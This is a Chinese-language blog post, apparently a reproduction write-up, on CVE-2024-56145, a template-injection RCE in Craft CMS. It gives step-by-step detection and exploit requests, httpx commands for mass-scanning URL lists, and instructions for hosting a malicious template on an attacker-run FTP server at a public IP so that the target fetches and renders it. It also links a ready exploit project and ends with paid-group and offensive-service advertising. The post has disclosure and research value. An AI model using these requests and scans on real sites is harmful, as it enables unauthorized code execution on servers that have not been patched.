【新day】CVE-2024-56145(Craft CMS 模板注入导致 RCE)

该文章已生成可运行项目,

绪论

如果各位师傅觉得有用的话,可以给我点个关注~~ 如果师傅们有什么好的建议也欢迎联系我~~ 感谢各位师傅的支持~~

b61fcb1e8e27cf8656783430cf5ef5f9.png

正文部分

漏洞详情

Craft 是一种灵活、用户友好的 CMS,用于在 Web 及其他方面创建自定义数字体验。如果受影响版本的用户php.ini配置启用了“register_argc_argv”,则其用户会受到此漏洞的影响。对于这些用户,存在未指定的远程代码执行向量。建议用户更新到版本 3.9.14、4.13.2 或 5.5.2。无法升级的用户应禁用“register_argc_argv”以缓解此问题。

漏洞原理

原作者的分析详情:

https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms

本质上是一个模板注入,通过请求ftp服务器中的模板,并且进行解析,最终实现RCE

漏洞条件

1. 需要服务器出网,能够正常请求ftp服务

2. php.ini配置启用了“register_argc_argv”

POC汇总

请求1:/?--configPath=/aaa

开启ftp服务后,进行请求2

请求2:/?--templatesPath=ftp://ftp地址:ftp端口

漏洞探测POC

数据包

https://xxx.xxx.xxx/?--configPath=/aaa

c522ba0dabf9e5ae398d0412aca40701.png

d3b4d9541f36805eed93f1d20689ebb0.jpeg

使用httpx进行快速验证

httpx.exe -path "/?--configPath=/aaa" -sc -cl -mc 200  -l url.txt -m
s "mkdir()"
6a30c22d1e3bc788b9ec4ce4184852f9.jpeg

漏洞EXP

启动ftp服务(使用py快速启动)

1. 安装pyftpdlib
pip install pyftpdlib
08a45382c9c5e772cf3d07bfd3af7dc3.jpeg

运行可能会报错 module 'OpenSSL.SSL' has no attribute 'TLS_SERVER_METHOD'

61b40107f1fa38e0e78e20b7b3f68c8e.jpeg

安装两个库即可

pip install cryptography==36.0.2
pip install pyOpenSSL==22.0.0
9e5cc9800b999f2d4f3d352dcec89ce1.jpeg a18a77a516a1346bb7e29198f2bca2d5.jpeg
2. 使用pyftpdlib
python -m pyftpdlib -h
602aa96ec8d0f0af6bfd9699f4b7f935.jpeg

快速启动

注意:

-p 表示ftp的启动的端口

-w 表示提供修改权限,默认只读

-d 设置目录,默认就是当前目录

-n 设置外网ip,没有只能127.0.0.1访问!!

-u 可以设置用户名

-P 可以设置密码

不设置账户密码,就可以直接匿名访问

python -m pyftpdlib -p 6666 -w -n 189.204.186.73 -u admin -P admin

测试FTP连接

ftp访问地址

ftp://username:password@hostname:port

有账户密码:ftp://admin:admin@189.204.186.73:6666
无账户密码:ftp://189.204.186.73:6666
新版的edge无法直接访问ftp的连接,要用老版的IE,只需要在浏览器中进行设置即可

0337d8e1b555bd41309447b1c2029b4d.png

207fc4d2c4f915ae4bc1bfe2f5ab1ce8.png

使用文件夹访问也可以

957595a2a1a688790d367c398102da7d.png


创建EXP

在ftp开启目录创建一个default文件夹

9a25bcc2c6529e7c27334be2951869c1.png

再再default文件中创建一个index.html

bc30da4d9599b7a0d7497480c0b7d725.png  

index.html

<html><body>hello world {{ 7*7 }}</body></html>

访问EXP

/?--templatesPath=ftp://ftp地址:ftp端口

{{ 7*7}} 被正常解析

63d7fe76c2aadda7eadbdafd1ceda413.png

ftp收到数据

b0b19f6838bb99f2c3ec409d707a3329.png

httpx快速验证

注意:在开启ftp服务的情况下运行

httpx.exe -path "/?--templatesPath=ftp://189.204.186.73:6666/" -sc -cl -mc 200  -l url.txt -ms "hello world 49"

07efe41a50a70954eaf40ca80932e23e.png


复现的问题

如果发现页面报错server Error,并且FTP没有响应,可能是网站不出网,无法请求到FTP服务器

4a17586b70c289e30e754ae0afc64782.png

成熟的EXP项目

https://github.com/Chocapikk/CVE-2024-56145/tree/main

a71a612ae0a094adfbde70c6e20217c5.png

知识星球

具体的星球介绍可以看一下这里~~

WingBy小密圈,他来了!

6d8e23a487d666c25f95a39e8c16da1b.png

注意:帮会和星球是为了考虑大家的方便习惯,福利和内容是一致的,后续更新也是一致的~~~只需要进行一次付费就可以啦~~(建议还是使用帮会)

项目合作

有甲方大大,或者厂商师傅,或者其他的项目,欢迎咨询,我以及团队始终将客户的需求放在首位,确保客户满意度~~

目前主要的服务范围:

1. 渗透测试、漏洞扫描

2. 代码审计

3. 红蓝攻防

4. 重保以及其他攻防类项目

5. 红队武器化开发以及蓝队工具开发

6. CTF相关赛事的培训等

7. cnvd,cnnvd,edu,cve等证书

8. nisp,cisp等证书

本文章已经生成可运行项目
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值